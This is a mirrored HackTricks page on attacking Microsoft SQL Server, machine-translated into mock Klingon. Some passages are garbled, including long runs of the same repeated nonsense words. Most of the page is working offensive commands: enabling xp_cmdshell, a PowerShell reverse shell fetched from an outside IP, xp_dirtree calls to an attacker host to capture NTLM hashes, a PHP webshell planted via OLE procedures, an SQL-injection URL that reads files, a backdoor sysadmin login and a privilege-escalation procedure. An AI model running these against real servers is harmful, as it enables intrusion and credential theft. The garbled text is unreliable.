mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 21:53:54 +00:00

History

Translator workflow b442ae90c4 Translated to Klingon		2024-02-10 17:52:19 +00:00
..
README.md	Translated to Klingon	2024-02-10 17:52:19 +00:00
types-of-mssql-users.md	Translated to Klingon	2024-02-10 17:52:19 +00:00

README.md

1433 - Pentesting MSSQL - Microsoft SQL Server

htARTE (HackTricks AWS Red Team Expert) ! qaStaHvIS htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
Get the official PEASS & HackTricks swag
Discover The PEASS Family, our collection of exclusive NFTs
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. Try it for free today.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Basic Information

From wikipedia:

Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\

Default port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Default MS-SQL System Tables

master Database: tlhIngan Hol: 'ejyo' vItlhutlhlaHbe'chugh SQL Server instance.
msdb Database: SQL Server Agent vItlhutlhlaHbe'chugh alerts 'ej jobs scheduling.
model Database: SQL Server instance DaH jImej 'ej size, collation, recovery model, 'ej DaH jImej created databases mirror alterations vItlhutlhlaHbe'chugh blueprint.
Resource Database: SQL Server vItlhutlhlaHbe'chugh system objects vItlhutlhlaHbe'chugh read-only database. vItlhutlhlaHbe'chugh objects, Resource database physically vItlhutlhlaHbe'chugh, logically presented sys schema vItlhutlhlaHbe'chugh database.
tempdb Database: vItlhutlhlaHbe'chugh temporary storage area transient objects intermediate result sets.

Enumeration

Automatic Enumeration

If you don't know nothing about the service:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

{% hint style="info" %} QaH credentials jatlh 'e' vItlhutlh. nmap metasploit vaj laH. QaH, login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh 'ej login chel username vItlhutlh login vItlhutlh **

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

QaD

QaD QaD

QaD

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Qa'legh Enumeration

Service Detection

To identify if a Microsoft SQL Server (MSSQL) service is running on a target system, you can use various methods:

Port Scanning: Use tools like Nmap to scan for open ports, specifically port 1433 which is commonly used by MSSQL.
Banner Grabbing: Connect to the target system's port 1433 and check the response banner to determine if it is an MSSQL service.
Service Fingerprinting: Use tools like nmap or Metasploit to identify the MSSQL service based on its behavior and responses.

Version Detection

Once you have identified an MSSQL service, you can determine its version using the following methods:

Banner Grabbing: Connect to the MSSQL service and check the response banner, which often includes the version information.
SQL Queries: Execute SQL queries like SELECT @@VERSION or SELECT SERVERPROPERTY('ProductVersion') to retrieve the version information.

Default Credentials

Some MSSQL installations may have default credentials that can be used for initial access. Here are some common default credentials to try:

sa: The default system administrator account.
blank password: Some installations may have a blank password set for the sa account.

Brute-Force Attacks

If default credentials do not work, you can attempt brute-force attacks to guess valid credentials. Use tools like Hydra, Medusa, or MSSQLPump to automate the process.

Information Gathering

To gather more information about the MSSQL service, you can perform the following actions:

Banner Grabbing: Analyze the response banner for additional information like the server name or instance name.
Enumerate Databases: Use SQL queries like SELECT name FROM sys.databases to list the available databases.
Enumerate Tables: Use SQL queries like SELECT name FROM sys.tables to list the tables within a database.
Enumerate Columns: Use SQL queries like SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('table_name') to list the columns within a table.

Service Exploitation

Once you have gathered enough information, you can proceed with exploiting the MSSQL service. Some common techniques include:

SQL Injection: Exploit vulnerabilities in web applications or other interfaces to execute arbitrary SQL queries.
Privilege Escalation: Exploit misconfigurations or vulnerabilities to escalate privileges and gain higher access levels.
File Upload: Exploit file upload functionality to upload malicious files and execute arbitrary code on the server.
Stored Procedures: Exploit stored procedures to execute arbitrary code within the MSSQL environment.

Post-Exploitation

After successfully exploiting the MSSQL service, you can perform various post-exploitation activities:

Data Extraction: Retrieve sensitive data from the MSSQL databases using SQL queries or other techniques.
Persistence: Establish persistence on the target system by creating backdoors or modifying existing configurations.
Privilege Escalation: Further escalate privileges to gain more control over the target system.
Lateral Movement: Move laterally within the network to explore and compromise other systems.

Remember to always obtain proper authorization before performing any penetration testing activities.

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

Get User

{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Get Permissions

Securable: Defined as the resources managed by SQL Server for access control. These are categorized into:

Server – Examples include databases, logins, endpoints, availability groups, and server roles.
Database – Examples cover database role, application roles, schema, certificates, full text catalogs, and users.
Schema – Includes tables, views, procedures, functions, synonyms, etc.

Permission: Associated with SQL Server securables, permissions such as ALTER, CONTROL, and CREATE can be granted to a principal. Management of permissions occurs at two levels:

Server Level using logins
Database Level using users

Principal: This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

QaD

Qap OS Qom

{% hint style="danger" %} Qap that in order to be able to Qom, it's not only necessary to have xp_cmdshell enabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:

Use master
EXEC sp_helprotect 'xp_cmdshell'

{% endhint %}

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

Steal NetNTLM hash / Relay attack

SMB server vItlhutlh (impacket-smbserver be'Hom responder for example) vItlhutlh authentication vItlhutlh hash capture.

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

{% hint style="warning" %} qaStaHvIS (sysadmins Daq) MSSQL chel functions cha'logh permissions 'oH.

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

{% endhint %}

responder or Inveigh vItlhutlh NetNTLM hash chel.
chel tools ghItlh:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

MSSQL trusted Links chel

Read this post to find more information about how to abuse this feature:

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}

Write Files

MSSQL ghItlh files write need to enable Ole Automation Procedures, admin privileges ghItlh, execute stored procedures create file:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

OPENROWSET-va' file bIQtIq law' READ

MSSQL-pu' ghItlh 'e' 'ej 'op bIQtIq 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' 'ej 'op 'e' **

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

SQLi-ghItlh 'oH vItlhutlh:

The error-based vector for SQL injection involves exploiting SQL queries that generate error messages. By injecting malicious SQL code, an attacker can force the database to produce error messages that reveal sensitive information about the database structure or data. This technique can be used to extract valuable information or even gain unauthorized access to the database.

To perform an error-based SQL injection, the attacker needs to identify vulnerable input fields or parameters in the application. These can be found by analyzing the application's source code, performing input fuzzing, or using automated scanning tools.

Once a vulnerable input is identified, the attacker can inject SQL statements that are designed to trigger an error. For example, appending a single quote (') to a parameter value can cause a syntax error in the SQL query, resulting in an error message that may disclose useful information.

The error messages can provide details about the database schema, table names, column names, or even the values stored in the database. By carefully crafting SQL statements and analyzing the error messages, an attacker can gradually extract sensitive information and gain a deeper understanding of the database structure.

It is important to note that error-based SQL injection attacks can be time-consuming and require a good understanding of SQL syntax and error handling mechanisms. Additionally, this technique may not work on all database systems or applications, as the error messages generated can vary depending on the specific implementation.

To protect against error-based SQL injection attacks, developers should implement proper input validation and parameterized queries. Input validation should be performed on both the client and server sides to ensure that user-supplied data is properly sanitized. Parameterized queries, also known as prepared statements, can help prevent SQL injection by separating the SQL code from the user input.

As a penetration tester, it is crucial to test for error-based SQL injection vulnerabilities during the assessment of a web application. By exploiting these vulnerabilities, you can identify potential security weaknesses and help organizations secure their databases against malicious attacks.

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Read files executing scripts (Python and R)

MSSQL tlhIngan Hol vItlhutlh Python je R scripts Qap. 'ej xp_cmdshell Qap QaQ user Qap QaQ scripts Qap.

'R' "Hellow World!" Qap Example not working:

Example configured python actions Qap:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Read Registry

Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the Windows Registry:

Regular	Instance-Aware
sys.xp_regread	sys.xp_instance_regread
sys.xp_regenumvalues	sys.xp_instance_regenumvalues
sys.xp_regenumkeys	sys.xp_instance_regenumkeys
sys.xp_regwrite	sys.xp_instance_regwrite
sys.xp_regdeletevalue	sys.xp_instance_regdeletevalue
sys.xp_regdeletekey	sys.xp_instance_regdeletekey
sys.xp_regaddmultistring	sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring	sys.xp_instance_regremovemultistring

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

RCE with MSSQL User Defined Function - SQLHttp

MSSQL-Daq .NET dll chargh custom functions-vam. 'Iv dbo ghItlh 'e' database connection 'ej sa Administrator role ghap.

vItlhutlh link ghItlh.

RCE bI'reS

command execution bI'reS ghap methods, extended stored procedures chel, CLR Assemblies chel, SQL Server Agent Jobs chel, 'ej external scripts chel.

vItlhutlh vulnerabilities 'e' vItlhutlh 'e' ghap. Intruder attack surface track 'ej proactive threat scans run 'ej issues 'ej tech stack 'e' find. Try it for free DaH.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

MSSQL Privilege Escalation

From db_owner to sysadmin

regular user 'e' role db_owner ghap admin 'e' database owned 'ej database trustworthy configured 'e', privesc user 'e' privileges abuse 'e' stored procedures created 'e' 'e' execute 'e' owner (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

metasploit module-va yIlo' je.

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

yIH PS script:

